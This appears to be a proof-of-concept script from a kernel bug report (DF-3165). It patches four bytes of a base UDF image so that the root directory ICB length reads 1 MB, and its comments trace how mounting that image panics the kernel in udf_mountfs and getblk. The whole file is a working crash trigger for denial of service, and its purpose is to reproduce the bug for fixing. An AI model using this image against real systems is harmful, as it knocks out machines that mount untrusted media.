DF-3165 / craft_img.py
#!/usr/bin/env python3 # DF-3165 -- crafted UDF image whose File Set Descriptor carries # rootdir_icb.len = 0x100000 (1 MB). # # udf_mountfs (sys/vfs/udf/udf_vfsops.c): # :373 size = udfmp->root_icb.len; <-- uint32, straight from disk # :374 udf_readlblks(udfmp, sector, size, &bp) # -> udf.h:96-100 (size + bmask) & ~bmask (int arithmetic) # -> bread(devvp, loffset, 1048576, bp) # -> sys/kern/vfs_bio.c:2738 # panic("getblk: size(%d) > MAXBSIZE(%d)", 1048576, 65536) # # Deterministic kernel panic at mount time from a crafted image. # (Same unchecked-length family also covers pms->st_size at :662/:673.) # # Method: start from the proven-good DF-3102 base image (same generator, # known to mount cleanly) and patch ONLY the 4 bytes of rootdir_icb.len # (FSD @ sector 64, long_ad.len at descriptor offset 400). Those bytes are # outside the 16-byte descriptor tag, so no checksum is disturbed. import struct, subprocess, sys, os here = os.path.dirname(os.path.abspath(__file__)) base = os.path.join(here, "df3164-base.udf") out = sys.argv[1] if len(sys.argv) > 1 else "df3165.udf" if not os.path.exists(base): subprocess.check_call([sys.executable, os.path.join(here, "..", "DF-3164", "craft_base.py"), base]) img = bytearray(open(base, "rb").read()) off = 64 * 2048 + 400 # FSD sector 64, rootdir_icb.len assert struct.unpack_from("<I", img, off)[0] == 2048, "unexpected base FSD len" struct.pack_into("<I", img, off, 0x100000) open(out, "wb").write(img) print("wrote %s: FSD rootdir_icb.len 2048 -> 0x100000" % out) |